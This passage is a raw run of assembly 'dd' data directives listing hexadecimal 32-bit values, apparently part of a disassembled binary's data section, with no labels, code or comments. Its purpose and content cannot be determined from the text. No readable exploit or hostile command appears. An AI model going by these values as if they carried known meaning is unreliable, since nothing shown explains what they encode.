0E9D40C5Fh, 0F5206CC0h, 18C82E4Ah, 0E4090305h dd 9B46F91Ch, 70FCC881h, 0DC008648h, 6B25F4F0h, 5AE94870h dd 0FC540060h, 52655BE1h, 2A9DA8C0h, 0C7468FF4h, 0A0205688h dd 7773817h, 0C9D44F0Fh, 94B49204h, 0F3293DE8h, 0E9925A80h dd 0B8032EDFh, 1B040900h, 61C32258h, 1CE073B6h, 8331BE2Ah dd 36D5242Ch, 0F748E2B8h, 0D60093F6h, 0A8DE30EDh, 4EC09Fh dd 0D064ABB1h, 9B5C9408h, 60CFD500h, 9F3D9870h, 62630440h dd 0ACAF0A9Eh, 27580560h, 55C0E5A7h, 4B0E3Eh, 0AE73C1E2h dd 4E98B9EDh, 1EFC162Eh, 0AC454A1Ch, 42C006C7h, 0D9A550h dd 0BEB8CC04h, 1E8B611Bh, 53923707h, 0B3D0F6A0h, 99F7ABh dd 5FB8E3D9h, 1366502Eh, 54D26C00h, 0A1E8332Dh, 4C09005Bh dd 0E2DE7D6Dh, 0CAE0C3ECh, 0C5384660h, 7E1B3FDAh, 173F078h dd 8AF44DB5h, 0C85158C0h, 0AA6032A1h, 0BB486360h, 0EF491E7Eh dd 0EB4607D2h, 71A8D0C2h, 53008E94h, 0E7360DA6h, 3F4018h dd 9A11E173h, 4490E88Ah, 992EFFF2h, 13CD6CBh, 594A6341h dd 0F3EC32ACh, 0D6900B8h, 9BEFD4D0h, 0A8008458h, 0C1B5B113h dd 306676DBh, 1718B73Ah, 15066B69h, 0B4EC5D63h, 50886030h dd 0E4DF5F48h, 1EB31901h, 0C9688569h, 3AAE6A00h, 0F72EBB01h dd 3EE21977h, 1DEE23D0h, 0F7665C9h, 0E5804799h, 2C4DFE64h dd 0DB79D000h, 0D91602EDh, 4C3B3FE8h, 8F1F171Fh, 25606D52h dd 9B99FED4h, 240382F6h, 83D83D96h, 0B791D311h, 2E35CC51h dd 1BE556E8h, 48DB1886h, 3D8AD9E0h, 0FB70C118h, 9BC811h dd 0C96A03D4h, 797FD537h, 48B008DEh, 0ECB3BED9h, 0E8FB01A0h dd 39E540AAh, 9FFD4A1h, 10D0BA30h, 31ABD855h, 23B11445h dd 0AB2CCFEh, 39DBED03h, 0A3DA9502h, 56210087h, 0FC8A2405h dd 0E914FF1Ah, 232440BAh, 240303AEh, 62FC0A9Bh, 0D0512788h dd 9B90A024h, 11462918h, 5EDD19h, 3931093Fh, 0D506EAB9h dd 0E9FD30A0h, 10CD6A30h, 740318FCh, 2E4F0749h, 0F063E673h dd 4B4E258Dh, 4A5DB800h, 593E701Dh, 1C021F43h, 0D31E00F3h dd 92C5B150h, 99F6BF00h, 0F01939CFh, 0A9E0C4h, 82A272F5h dd 7064B08Ah, 9A76CD00h, 0C08CF023h, 0B471F07h, 5F4BC08Bh dd 0E62DA54Dh, 45F2CD00h, 648F193Ah, 0D1FB0071h, 0F42E8EDFh dd 17005E52h, 56B352Fh, 3873CB89h, 71803768h, 2D27F48h dd 4500C9E5h, 3B26E8A0h, 39449Ah, 1668E451h, 533FB2EDh dd 0E1EFF200h, 0C3FCF1F5h dd 0B8F800EBh, 0A02D321Ah, 16638AC7h, 0F0E308h, 0B941CA20h dd 216A336Ch, 66E86E0Fh, 0F20B83FAh, 308FE67h, 0D77405FCh dd 3EF88C76h, 0E80CB6BBh, 20C4086Bh, 0F74737A5h, 4C67C771h dd 0B90CE641h, 11F9CAB0h, 3418009Ch, 0D77886F7h, 80667FD6h dd 21B808h, 0ED34113Dh, 0C995063Bh, 4975CB00h, 7CC897A1h dd 28FB6FFFh, 9631AE8Ch, 0ED5ADE00h, 25BB9D6Bh, 1ED80649h dd 36D4AE52h, 0CD5944Ch, 0C9C286E7h, 787D0063h, 42AA16EDh dd 19C3C867h, 90883480h, 1F46AC8Fh, 0F85A86F6h, 83966607h dd 400B402Ch, 31C9BC64h, 0EACB00A3h, 19F68544h, 8B542FFh dd 81218055h, 1AF99BB1h, 48590016h, 0A5655A49h, 0C380E045h dd 292C78BBh, 69CF93Dh, 4157671Fh, 7CEB0200h, 10D55C9Ah dd 0DA8D0082h, 0A99E15C0h, 2A001E27h, 164FBAF7h, 3AEC42A3h dd 0EE00AB13h, 0F424DACAh, 69C0B3E4h, 1DDDFA19h, 5F2700EFh dd 0A551544Bh, 0C92AABB2h, 433DE007h, 0EB0D00AEh, 3D3B1C2Ch dd 51AA005Ch, 346611F6h, 0D32A10FCh, 1200ECDBh, 6998FED5h dd 33F7A018h, 0E3084070h, 0ED2F2100h, 9BDB35FEh, 1828FAA7h dd 0E9F6EACFh, 75006C58h, 955B3297h, 12F91DFBh, 54F049A4h dd 49677348h, 0E714F06Eh, 9F7D179Ch, 4FFDCE00h, 55F88F8Dh dd 29CA606Ch, 83CEBF2h, 328B573Dh, 300CB001h, 0AC08FEF1h dd 589DF869h, 0FE00E91Bh, 0ED5DEFF0h, 7AEE071Eh, 0C1677BD9h dd 0D3DFCF61h, 0BF319CECh, 0FDCBEE01h, 37D4B04Ah, 0AB6F003Ch dd 1F9BA5CEh, 5C09DA8Fh, 30E2F29Dh, 11B8F7C4h, 88453219h dd 40C180EFh, 0D69201B9h, 45007EE6h, 3DE2A9Fh, 120ACB5Bh dd 6B2EF0Bh, 99335414h, 4367DC1Eh, 0BB632B40h, 3A341252h dd 46020826h, 5887512Ch, 0DF98E4E0h, 0F873AB33h, 11FCC1FBh dd 0B0EA9058h, 90692B33h, 0FB203D90h, 2E2303Bh, 0F51A8501h dd 0E4A8430Ch, 5423FB4Fh, 0F0829CB7h, 0A244F847h, 0B5280860h dd 1444890h, 530D03EAh, 1C9043E8h, 68C599F0h, 626F7301h dd 0C8A33D7Ch, 30A43842h, 43113414h, 0B6881887h, 340D3980h dd 3D6385ABh, 550111AAh, 0C94FF932h, 52F04881h, 1D807C99h dd 0D07E5EB8h, 21DD00EAh, 0DEFAB07Ah, 5D125846h, 3848C0FBh dd 0FEF4C013h, 402169A3h, 0B991A0h, 3FFEEC32h, 50D7B471h dd 3CDC30h, 0C8C25F3Bh, 0F1DFC338h, 0D3F93313h, 0C32B3C08h dd 44F99BACh, 885A18ADh, 9B76A47Ch, 0FEE76704h, 0A88C94F9h dd 686002Fh, 4976BAAh, 7F00FB99h, 115B3BE4h, 30E7C80Ah dd 6349AF7Ch, 39DE68E8h, 93B65407h, 2218D226h, 0A558FD71h dd 270545Ch, 0A2C84353h, 276A30B7h, 1EDCFC03h, 867CC93Eh dd 0C0AFEC79h, 0BE055A29h, 32003AA5h, 5D2D60F3h, 3DFA6526h dd 0CF0768DBh, 8A498044h, 2467CC8h, 0A2F4A600h, 196227FFh dd 0EAD25618h, 506F2221h, 39D38F74h, 186A76B0h, 80ED11F0h dd 3218B8F6h, 0C0B4B11Dh, 0B4B93FC0h, 79D6E403h, 64F2513Ah dd 6512B061h, 69A2BE02h, 0EC84748h, 7AC0EF31h, 0F6DB0313h dd 34C0B158h, 3C8E5192h, 57C1F088h, 28703CBDh, 0A299EE80h dd 69C898A4h, 0F87C01C2h, 8052FD0Ch, 0C968D082h, 0F4BC502Ch dd 1960B144h, 8623F834h, 71AB1170h, 0BD1C5598h, 84001604h dd 76B7C47Dh, 40450425h, 88C179E7h, 0D0708B44h, 1F486458h dd 2C126BDCh, 9BAD8860h, 0A54423F6h, 7D265111h, 21DA02CAh dd 5C44C9C5h, 7763900h, 0D2F929F4h, 18A5813Eh, 24340A15h dd 50601087h, 34730E3Eh, 3D20F100h, 3586C263h, 0F77E0AB4h dd 80E4E7D3h, 9EC4B331h, 41F33E5h, 0EF8116D8h, 923E6FE0h dd 290044DAh, 5940E5F7h, 9218B8h, 6B2EBDF4h, 0F8852B1Ah dd 1B67DB2Eh, 8C3A1200h, 2D9DEF5h, 7D575094h, 0A560E7CCh dd 0DF2EC5AAh, 9D443C31h, 0E7E218A2h, 0ABAD30h, 0F4B5150h dd 0D262BA54h, 0A9D1EE67h, 6AF3E000h, 0C47A3EB6h, 51D41381h dd 0DF636D73h, 7BA84958h, 83F79904h, 4888E412h, 0DAD30060h dd 412BC874h, 0D0352E1h, 0D4C454AFh, 328AF835h, 0AA7D0053h dd 8FBA7B6Dh, 6512B2E8h, 0C60410Bh, 23F79BA2h, 5411BD44h dd 9BBA8200h, 74675109h, 2A867B02h, 8492A1B3h, 0F960EC88h dd 32231BB8h, 0ED1115h, 39B942CBh, 161357DEh, 0CAB8FFh dd 0DFBF7CCCh, 0ED601CD9h, 1E29C1F1h, 310700F7h, 5D91B280h dd 3A185B0Dh, 7999C964h, 35160E5Ah, 0F180AFFAh, 0CBC28448h dd 0F7E8D400h, 13ABF5E9h, 84654896h, 0E8C55BCh, 318F78EEh dd 0EDFA1BE1h, 9E4627Ch, 465907DFh, 0C448A5DCh, 0A5B360B0h dd 46FD4A4Ah, 21B25A68h, 80F918C8h, 2E9499DCh, 185CD850h dd 0C01688D8h, 69AEFEEBh, 158EE843h, 46B9FEA0h, 9E06AA35h dd 68C90A44h, 20B7961h, 5BA1D77Bh, 0E884C1FAh, 0D80164E9h dd 9FFD3214h, 88ECE84Ch, 0B9002BB4h, 78F08CDh, 3F63250Eh dd 4160E4D5h, 49527E78h, 0ED8FEC02h, 9DC0DD2Bh, 81A21198h dd 0AB75E6B5h, 8ABEA870h, 2DCA4CC1h, 65BD0F70h, 3BFD2041h dd 0F0404D61h, 13774A0h, 0F92812BFh, 80D5D21Ah, 211EC4F9h dd 3F6C154h, 0DC93F45Ch, 0D907FEE1h, 0F2713941h, 496FACC0h dd 0A77073Bh, 90F38EDFh, 0F697555Eh, 0F6F070B7h, 1C5609EEh dd 7C656521h, 0C0645AC4h, 1F4A58BFh, 0BC4838E9h, 0DB008CEDh dd 7CE2EACCh, 0B82B0522h, 2254684h, 44EB9BAEh, 1057319Dh dd 1B9BA686h, 798BC984h, 0E4DC99E0h, 0B84496h, 0A44F1327h dd 6D52BAh, 3611F47Fh, 5CDF3554h, 0A05C9D56h, 7E471DDh dd 9D72A383h, 0BE75B3EBh, 3CD0815Ch, 60673B64h, 42E21A9h dd 539600E6h, 0BD604ED7h, 0B801E32Ch, 361BE20Fh, 8020F194h dd 5E6C96B3h, 217E446h, 0B0D41D87h, 655E8A9h, 6730ECB2h dd 648289C6h, 0A760042Ch, 90B3C9A3h, 0B9F76340h, 3F38880Ch dd 8C0D804Eh, 0ADFEF604h, 0B962F069h, 0FEEE1C20h, 17A4027Eh dd 6452226Dh, 9900AC52h, 0A8A366F3h, 1AB258F8h, 0BCE37640h dd 0D4C15890h, 0B7E69000h, 0F9932BB5h, 0A1CA0096h, 5CE9AD6Dh dd 0DF25A8EBh, 1190176Bh, 0FB818057h, 2D0B27Dh, 6C71A11Bh dd 94C01030h, 6F3CE653h, 0C2B0064h, 0D374F74Bh, 0A10D0126h dd 0D2197673h, 61E19DD4h, 0BADF2C40h, 0C026F11h, 0FFEA54DDh dd 300080C1h, 0E2D48F8h, 0C227AFh, 0D63FC1AAh, 0A4940D72h dd 0F4815005h, 18909A99h, 4937FAFh, 0BAAB1DC2h, 0D94C0AAh dd 44F0D18Ah, 0D5B7A70Fh, 0B0C9C412h, 11CAF201h, 7B61F588h dd 24ADC7C0h, 809E3A3Bh, 69776E80h, 67A02C8Bh, 95805354h dd 7E552000h, 0FB653D7Dh, 0F6B90705h, 0E01F71A6h, 0C9A262BEh dd 6D61A560h, 7A7634h, 389AAC54h, 0D92EEA10h, 7000CBE4h dd 0CE82BE71h, 270C95E6h, 98216CE8h, 70A25CDCh, 7C0C9838h dd 81C46499h, 0DD1A00F7h, 4A7EAC25h, 5003A08Fh, 4B3C1253h dd 31498DCh, 0CB673052h, 0D3BB9B31h, 99FA4F00h, 8A61C95Eh dd 7BDE14A9h, 901A0AAh, 195D719Ah, 526FD013h, 0D1D3CF00h dd 1EC6385Ch, 59FE14CDh, 461D814Bh, 0BB8A00DFh, 85E815A2h dd 3A43C600h, 364294ECh, 553F0788h, 317F5096h, 30DC9122h dd 6730E388h, 0CF1491C5h, 6A8A005Eh, 48BFF7B1h, 0CC245124h dd 0F0024ADh, 1258FCFEh, 26B87210h, 47202FA5h, 7C56C1A1h dd 1B880B0h, 11039992h, 18E099D3h, 0E9A7A866h, 0C3E88A0h dd 0AD162202h, 29BC7EE7h, 0FE78A4C4h, 0B962C700h, 0BB958F31h dd 2438C1A7h, 40FB18B0h dd 974ABE8Ch, 8DCDE707h, 49F3464Dh, 0B95CE0A0h, 4EF400DCh dd 4FB03962h, 0E32450C9h, 35439464h, 0C3AF8802h, 24EB03DEh dd 0F0DC3DB9h, 8C1E27E0h, 0E9DF602h, 0E475C942h, 0A804EC70h dd 702CF4h, 849D582h, 3CF7C838h, 0D0141A14h, 90ED27E5h dd 1476DF20h, 704C64C2h, 0CED2FE00h, 0F791B528h, 0E60C5600h dd 921A76F8h, 9BFA0001h, 0A30A7F3Bh, 0CA0E23DDh, 80D52CACh dd 686AA50h, 90A87B74h, 0D7B00014h, 0A739737h, 0CC92FBECh dd 4CB52107h, 4530ACBDh, 50F918Eh, 0AB0BB071h, 0F9368031h dd 39006197h, 8BF1D9E2h, 4061BA4h, 38A532F5h, 96C8727h dd 0B9564000h, 1100F865h, 75603F3Ch, 30711035h, 0D180AC84h dd 0E00ECF9h, 9B92027Fh, 434FD5h, 9D992FD0h, 3ADC7671h dd 0EB3D7416h, 0E12AA0D0h, 0C4080A9Ah, 8094FBC9h, 493EE445h dd 3C12AF18h, 0D201327Bh, 76C8630Ah, 0E716BC29h, 0C474D77Ch dd 7230B477h, 609DBD26h, 43616200h, 900CA25Bh, 12FE658h dd 4611F9C4h, 80ACC922h, 6D206571h, 0F16E87h, 43977007h dd 5B3404A5h, 341C0C24h, 50257726h, 0DFB809C8h, 9C00BF7Dh dd 677265EBh, 0B96894h, 0D61A80BAh, 3541C7Ch, 9789097Eh dd 8C942852h, 253F37ACh, 2224802Ah, 0F57BA33Eh, 3CCC00EBh dd 686DE9C5h, 4000FC66h, 5741FDBAh, 0B0F02404h, 9AC30081h dd 0EAB21722h, 0B8018603h, 0C45BD727h, 289E4A62h, 78F8C049h dd 7CF5B906h, 64067BF4h, 8CF44D4h, 9C570020h, 763280A4h dd 216162C6h, 341B8239h, 0DC85CCh, 5D2F3B17h, 0BAFF9295h dd 0B6DF8303h, 4EFC5Fh, 0A32BAB91h, 0BDF0E3B4h, 731DF500h dd 0EF29656Ah, 5069C009h, 4EE9EB7Dh, 0FC8B200h, 0EF66BABBh dd 0DA21CF0Ch, 3F50A6A1h, 8526CC01h, 92F5520Fh, 0EAB1651Bh dd 5141400h, 304E813h, 0D63C6A7h, 89004D5Dh, 2289BDE9h dd 0C65011Ch, 0BEAA875h, 8D00E439h, 0FD27F3E0h, 6070E82h dd 8E2884BBh, 40A2017h, 8054C80Bh, 0B89F3DBEh, 0A43B0044h dd 0B8934E6Ch, 0DAFA24EBh, 853F01ECh, 0F3B5E42Dh, 9D2C1B98h dd 5481F900h, 0EACAB26Ch, 44480C40h, 668107D6h, 0EF742EFAh dd 0F65BA51Eh, 0EAE96883h, 8F210778h, 1C3D64h, 109344BCh dd 4BFC9F01h, 0F0514DCFh, 3FEC3EE4h, 0C89D98D5h, 4A0A8C09h dd 3800B9B8h, 9CB3A32Eh, 78C6970h, 0ECE846C9h, 0E64459Dh dd 11ECF8B8h, 2800D131h, 0C1790640h, 93D09Eh, 44385FFFh dd 0A9542D63h, 0C6EC5AEAh, 0B0E8D731h, 0BBCD4632h, 8802D5F0h dd 0D7EC630Fh, 0EA0BD11Dh, 0D09AE53Ah, 97661000h, 0DE3D210h dd 4647AB25h, 2A50BE88h, 44017C07h, 1E54367Fh, 96F0772Fh dd 0F56F0059h, 38B617F4h, 1B0FC929h, 237E9F08h, 0C7CE035Ch dd 612CBD70h, 54D8A84Fh, 60980220h, 0BAA38A0Fh, 0B323E08Fh dd 690106EAh, 0D23F65F6h, 0B020B575h, 0CB0A24DBh, 91284194h dd 5042221h, 0DED3FDDh, 6061984Fh, 0BB54A91Ah, 0C6FC0F92h dd 0CE21A803h, 406D01DDh, 1B06E1F8h, 0B713C90Fh, 9F4440A4h dd 28CD1934h, 52B97520h, 4D003086h, 62124F8Ah, 890ECBA0h dd 0EDBB23F4h, 0E8FB9149h, 88F28h, 0EAFEB163h, 8ED1B267h dd 7FA40D03h, 428B2Fh, 8462DDC8h, 96103AD2h, 90C254E4h dd 98A541F8h, 0C05E90h, 0A1584036h, 0AEF06FAh, 0DED98CA8h dd 9965AC00h, 9B3D97BAh, 5FF90372h, 5661BBBDh, 57094173h dd 83A95075h, 0B895662Eh, 3FECFFDDh, 0C049FDB5h, 5B4C0800h dd 735E6D22h, 0BD518300h, 0FFEBCCBCh, 11A409CAh, 0A5800F4Eh dd 34B3E6D2h, 0B04FA637h, 668258D2h, 0D0DB2640h, 239E3B3Fh dd 428A402Ch, 5B3AF047h, 5AC4600Eh, 1844630Bh, 8885BCC3h dd 5E335400h, 224B6236h, 5A2574EFh, 0A8F7C120h, 1EBF8CF0h dd 409418CBh, 639F9275h, 0C1CBD60Bh, 46180049h, 1FBC7283h dd 15277A5h, 38D75E79h, 0CB708058h, 0DD10C8B5h, 571E005Dh dd 0FD1BD8AFh, 48119EDh, 10A14DCh, 6B332450h, 33CBF4A1h dd 21A30060h, 69A69332h, 659E2C02h, 7CB50330h, 890048FCh dd 7E9103FDh, 1DE1DF1Bh, 86852B4Bh, 0A91DD00Bh, 1A8C2818h dd 0A462BA71h, 347CF4h, 42E6EE81h, 83283BD8h, 0FD29DC63h dd 4B610256h, 735B45BFh, 20619861h, 64890BECh, 8848C3D5h dd 358C0072h, 9CFD05EBh, 3B06D266h, 0B33C263Dh, 96544528h dd 2C082748h, 3F8A8201h, 0F88112C8h, 0BB882804h, 676F0119h dd 0CA0AFE61h, 69403450h, 73EF317Ah, 0DF23FA29h, 310501C8h dd 9000457Bh, 2EC16CD9h, 1FCAEE5Bh, 80D2AF82h, 52371421h dd 0E54DD7CCh, 65120678h, 61B9FCh, 0A5318723h, 61DA9A2Bh dd 820229F8h, 0C7AB3A64h, 0D85C93BEh, 24CCB4C5h, 3BB027CAh dd 0E2250A80h, 2DA12A85h, 40F3Ch, 1C729CC6h, 520B4A24h dd 6D0DC0D5h, 0F8E99F0Dh, 0C948CCB2h, 4A406018h, 0A22CF1Bh dd 8228FCAFh, 0B2D44088h, 0A500685Fh, 6769A717h, 1471A9Ch dd 8D0ACAB4h, 0E895D962h, 1F05B0CDh, 1EC10B76h, 4783BC20h dd 642012B8h, 8FC420FCh, 6607945Dh, 1738A27Eh, 869EAD41h dd 0B4AE0CCh, 65DFC8CDh, 25BEE018h, 0E2AFDA00h, 0A7E3E831h dd 938900BFh, 7A2305DCh, 0BB0A3590h, 0E8AC1FA4h, 75EF3404h dd 8CA91C40h, 0AA00DBF3h, 0DAB30387h, 5C282010h, 9C2E40A5h dd 77C40A4Ch, 0DF30F86h, 4B661080h, 0C0C7EEDCh, 8B622348h dd 665Fh, 1566545Bh, 2F64363Fh, 7CE28600h, 3CE410F0h, 6C040328h dd 85EF1B29h, 8CA73FB8h, 0E8C9A307h, 4B0F9994h, 0D7EC1984h dd 9EF0D409h, 2E05181Eh, 27D2E38Eh, 4B7E7AC3h, 36F800CFh dd 282811C6h, 2220158Bh, 3A7C52C9h, 0A04644Ch, 0A04CFD3Bh dd 6011288Fh, 978C5317h, 0ACA437h, 2ED3D189h, 0C301E1E5h dd 6D699B04h, 2C92400Fh, 0AC1C44CEh, 0EAC40990h, 8C803CCCh dd 442C66ECh, 1BC66F1h, 99E10D09h, 0C448EA70h, 0DE0E0053h dd 0F1EBD7C3h, 6B78E6CCh, 0AAE77805h, 0BCD27475h, 7094603Fh dd 98E8B0EEh, 0C181C432h, 8EAA80C6h, 5D05D2E0h, 0C768886Fh dd 441202C0h, 1418B1D4h, 52808CEDh, 0B90E88F6h, 0DB72A308h dd 0CC8139CEh, 89BB1D3h, 0E5A830BBh, 0C7C4CA58h, 8759ADCDh dd 12C0CEA1h, 0E4B01AF2h, 442A0B8Bh, 989803CBh, 6505D1A6h dd 33CC3297h, 0B6158803h, 0AD89D995h, 202057FDh, 0C36B244Ah dd 0E1000A0h, 0F2E35A32h, 0ECCBA724h, 0E01D0411h, 0C058E60Ah dd 0B6E5C947h, 0B5DD8CA8h, 2641CA0Dh, 5801382Dh, 475910Fh dd 0DCD71DE0h, 719D4A56h, 21104688h, 0E4F5A751h, 8401A0AEh dd 48DCEF81h, 18245FF7h, 1225280Bh, 0EE6F18C0h, 0A64770EBh dd 0C0B42658h, 58FE8377h, 2927908h, 2D6F07B4h, 9CE0E4A4h dd 9C985A11h, 280AC242h, 81C81390h, 0CCCD5367h, 0DB2020E3h dd 0CA5344FCh, 5A9714A8h, 33390E98h, 9F55808Bh, 98CFF893h dd 0B2340474h, 0C2DA6518h, 0C083DC78h, 42CF936Ah, 0FC403A0Dh dd 7444EA5Ah, 52C101FBh, 503D9102h, 51C8DF7Fh, 69004865h dd 4D84A263h, 48D0A3D3h, 5C76ACA9h, 0B961870Ah, 500FEB6Dh dd 8A3C739Ch, 10253A1Eh, 0C095EF00h, 0F87FD1EAh, 0BA1E320Fh dd 42976C8h, 28404274h, 0F14345ABh, 0A38B3Fh, 4F835C37h dd 38C88EF2h, 11B0EAF9h, 6A760439h, 38ABAC03h, 80FC6270h dd 983C14F3h, 0C95144E0h, 34A4370Ah, 4C0F8191h, 0CF6BF4h dd 0E9D1DD28h, 24637C77h, 98C886Ah, 0F8845CEAh, 4BC94F50h dd 44F0807Eh dd 364785h, 0D4D1B969h, 0DA6476CCh, 4834D702h, 0E054F0C9h dd 84395Ch, 6872ECFCh, 8963A06Ch, 2219581Eh, 98B90B9Bh dd 394BB79Ah, 880E6D33h, 16403789h, 0BDD532A4h, 0E580ECB1h dd 0C11A6E5Ah, 0F91060EAh, 0FF2A9FD0h, 7F031200h, 0FE3EF389h dd 90ED4CD9h, 0B0061980h, 0F505F065h, 109639DBh, 0A00530C2h dd 0E0C9C4D0h, 4DFC283Bh, 0DFAD0034h, 0B536333Eh, 80CDE60h dd 0C8B15E88h, 2F9F897h, 8B61E3A1h, 5081920Dh, 0EDFB69D3h dd 34442086h, 96284C09h, 130848Fh, 0CA518B41h, 0A918C811h dd 2D007D4Ch, 97D7458h, 4490EADEh, 0BA7F05CEh, 4B90B01Eh dd 7EBB89h, 0C8C2C534h, 0C2BE7440h, 0B2BABD6Ch, 6827B8CCh dd 514C10D0h, 907C64h, 0D57FA56Fh, 5FB06AF9h, 2D0DB48h dd 2F730EF7h, 69DC40A9h, 63291E7Fh, 96A7C078h, 8912860h dd 0BAFD94A8h, 83E3E9C0h, 0DB5BD7h, 0E4B7EA9Ah, 0A39016F2h dd 6754FB02h, 0E48D289Fh, 1E4090E0h, 27930FD9h, 98606432h dd 0CA02BF95h, 0CA0EFE8h, 38662Bh, 31795B05h, 38BD2E4Fh dd 0D27A2204h, 5484D92Ah, 885B8881h, 0B9CF0BC8h, 0E49680B4h dd 0C570E61Ch, 0ADD98A0h, 210CB50h, 64FC1628h, 79D91A03h dd 0F1C72DD0h, 8C70DE03h, 395B34h, 0BC3F09BCh, 0B0B18C4h dd 18BEA140h, 0BACE48h, 22ED604Dh, 97C4D3C7h, 0E12CA4Ch dd 2382DB78h, 2362BFh, 8EAC1579h, 7E333A08h, 0D53F1600h dd 0A2BDF812h, 18130494h, 8CE14186h, 9200E400h, 1C566FC3h dd 0DA5EF2h, 60FFEBEDh, 0FEF1161h, 0AB1529C0h, 0E4D9B699h dd 652100FBh, 41CE1675h, 0CC09ACB0h, 0AEC8BAC6h, 4C001270h dd 84D7D651h, 1BDD002Fh, 0E2C99A76h, 0ABE661AAh, 6237C47Fh dd 36D0B950h, 90CE1487h, 34A881B5h, 0A1400030h, 1D104AE8h dd 5B02B667h, 0E19568A8h, 3C7C8061h, 8F395Ch, 0F0109E8Dh dd 83281E09h, 0F18EB700h, 79E19A44h, 488FF488h, 0F8C31821h dd 16A50BBAh, 1F780844h, 64562997h, 14315C13h, 0C0141A89h dd 30840C44h, 94846198h, 9E00F5F2h, 0BE068D5Ah, 5D74674h dd 42F42004h, 0B3483CCh, 4423D14Fh, 0FF9EC06Dh, 0CB1135Dh dd 1538888Dh, 86ACA800h, 4272F0A1h, 1C890177h, 9DCED2EBh dd 0B2B9E8DEh, 0A85ED406h, 514BFCh, 0E7647B43h, 12EDF09Dh dd 1187B1C0h, 35A3FC0h, 2E925F76h, 30004B62h, 2AA107F1h dd 51C5C7h, 0DFB85CF5h, 0B5CFFEB0h, 80F1273Ah, 0B19D113Bh dd 78DA26B4h, 2A7CCBh, 0E386746Ch, 87E5030Fh, 2FA75500h dd 0C98D23EBh, 0D5BA00C5h, 0E9069D29h, 0BFF09FBBh, 7953C003h dd 0A06643F3h, 1CF79BFBh, 80CB6B7Bh, 1C70ACF8h, 3218B664h dd 0D169CEDAh, 4EE00DCh, 5FE15BF4h, 8300C056h, 2878C7F5h dd 9F64C1h, 6CA03F75h, 5706C87Bh, 0E2886000h, 77D937BAh dd 790E009Dh, 0D0AB59ECh, 1318B076h, 6461C56Eh, 1C0206BCh dd 0F111D910h, 6D3B9B7Ah, 5F320009h, 37DA66E1h, 741018D4h dd 4B9139D5h, 84FE08C6h, 76EC00B6h, 2F44B24Ch, 6100CDE7h dd 7D468347h, 0C0F30382h, 0E95A2A58h, 85038D19h, 0AB9D5998h dd 0FCCFF07Eh, 21E20CBFh, 0F261CADAh, 923C187Fh, 688B80EFh dd 87511119h, 14E71FD1h, 31E14033h, 1BDCF76h, 3111F240h dd 9641C768h, 0CA1814Ah, 1D584B29h, 3B1567ECh, 0F7007150h dd 0FFB36CD7h, 0A30BD2A9h, 80D0A058h, 857232F0h, 0EEBC06DBh dd 493F71FCh, 691AD330h, 72835439h, 0BB1C0068h, 0E584F549h dd 2901B848h, 0FCCED024h, 39923C72h, 0B0200383h, 410016D2h dd 0E9653A73h, 0EEA1Ah, 59E55036h, 989F303Fh, 59D1714h dd 635D00CCh, 7236AB74h, 55540089h, 0FE9F1F4Eh, 7A15E5C2h dd 0ACEE02h, 0BA0CB705h, 0E37099h, 53A341D2h, 82FCD41Ch dd 0F1DADB11h, 5A84B105h, 0F95C054h, 0D0A19132h, 77EE11EFh dd 0E8A26260h, 693D0273h, 6F117132h, 0A6001844h, 1F281226h dd 1512F7Fh, 21698AA8h, 499E3219h, 3C9C02F4h, 0B1613020h dd 0EE1705A0h, 1C8E1540h, 7382C188h, 0D456367Ch, 61C0F3DAh dd 0B43DE05h, 0EA47DD2h, 51DB6B55h, 512E9126h, 57099B00h dd 198ABFAAh, 25780005h, 0CA83247Ch, 208A7FCh, 8FFE7A11h dd 0F72C5C19h, 370FF411h, 0A78DC3DAh, 3AF1CCFAh, 0DBEC0A78h dd 16581432h, 9BC0F431h, 5E353433h, 0AF729000h, 5AD9C61Ch dd 257000F8h, 0AA0CD373h, 0C4A43DE1h, 14048000h, 0AECF96E3h dd 349C610h, 79FA21F0h, 2527DE12h, 8078D009h, 98CD6C39h dd 6D590FA4h, 4E80D4CFh, 0E0FCB021h, 81703Ch, 0E9EAB83Dh dd 0E066512h, 0AE4EF96Bh, 91E19C61h, 628C534Ch, 0D9333898h dd 0C9168300h, 3FEFF544h, 31AB0058h, 0ED667DA5h, 3200A0CFh dd 0D39BB542h, 0EC678072h, 5BD60097h, 2995BBABh, 640020C2h dd 197607A6h, 24096C57h, 11B05BB2h, 20BC50C4h, 0D36000E9h dd 1FFC042Dh, 80F27E52h, 10F5733Eh, 8034704Dh, 0D2855E4Bh dd 7A8CA815h, 0ACE50060h, 5C20754Ah, 5200E055h, 8387EB6Ah dd 8B9D1Bh, 443227AAh, 0CCCFEA79h, 0C035F700h, 0B86B8A71h dd 0D2B31870h, 295F8918h, 428BBF2Eh, 9DB05318h, 5DBB07BEh dd 88D4192Dh, 0D1579F80h, 4334517h, 9924495Eh, 9D8CC067h dd 81E9D3B3h, 6C6D93A1h, 33F48B5Ah, 4DE40020h, 1D7DAD40h dd 1491D401h, 0CF553C01h, 0BDE0E783h, 0A54907F3h, 60D486A1h dd 72B0E850h, 8722EB04h, 0C4C0D13Bh, 15276E1h, 98436AB8h dd 32967771h, 29DD00A8h, 0D8144DB7h, 0AD3F005Ch, 0E14EBDECh dd 4251B315h, 2AC99FE6h, 17D41EC6h, 785D0089h, 0C72C1BC2h dd 8B0014BDh, 0F6CE2262h, 28674E0Fh, 5C40CF1h, 5AB64935h dd 0ECD40833h, 0A982FA10h, 2CC143A7h, 2B318038h, 9030564Dh dd 79D2E8h, 0A89FF9D8h, 0C307F179h, 0B885AD22h, 0F08F6393h dd 7479E72h, 1EFA6A44h, 0A3E6B0CFh, 930AA6F6h, 38761126h dd 0A2AC0E0Fh, 44BCCF09h, 0FB023028h, 0D1CD3869h, 0ED318200h dd 2359A917h, 25E70207h, 40C6A779h, 0E5CB6DC0h, 6C2A0524h dd 24B7CF06h, 69B80549h, 81D31EF0h, 0F9A6FBBCh, 1844EECFh dd 0F87B1118h, 0FA66A989h, 0CC9C1472h, 0B2C8C8Fh, 958635Ch dd 790667C8h, 0DA48B57Fh, 87CD8084h, 43F48CBh, 729DCA39h dd 4F44C1E3h, 801C623Ch, 23F62047h, 0CDAA011Bh, 36408B26h dd 461AEC6Dh, 53AE0200h, 0A6313ACh, 9D330E2h, 767A7D39h dd 3C008372h, 0A62AEF2Eh, 1EB3D423h, 80D69D49h, 2638A218h dd 38B0080Ah, 706C6850h, 0BF9CDA14h, 64452EE4h, 0D92BB502h dd 0EE6320F2h, 0FB0355E3h, 62959228h, 6065CADAh, 480C5014h dd 0D90058E6h, 986CE0D3h, 0B648AA6Bh, 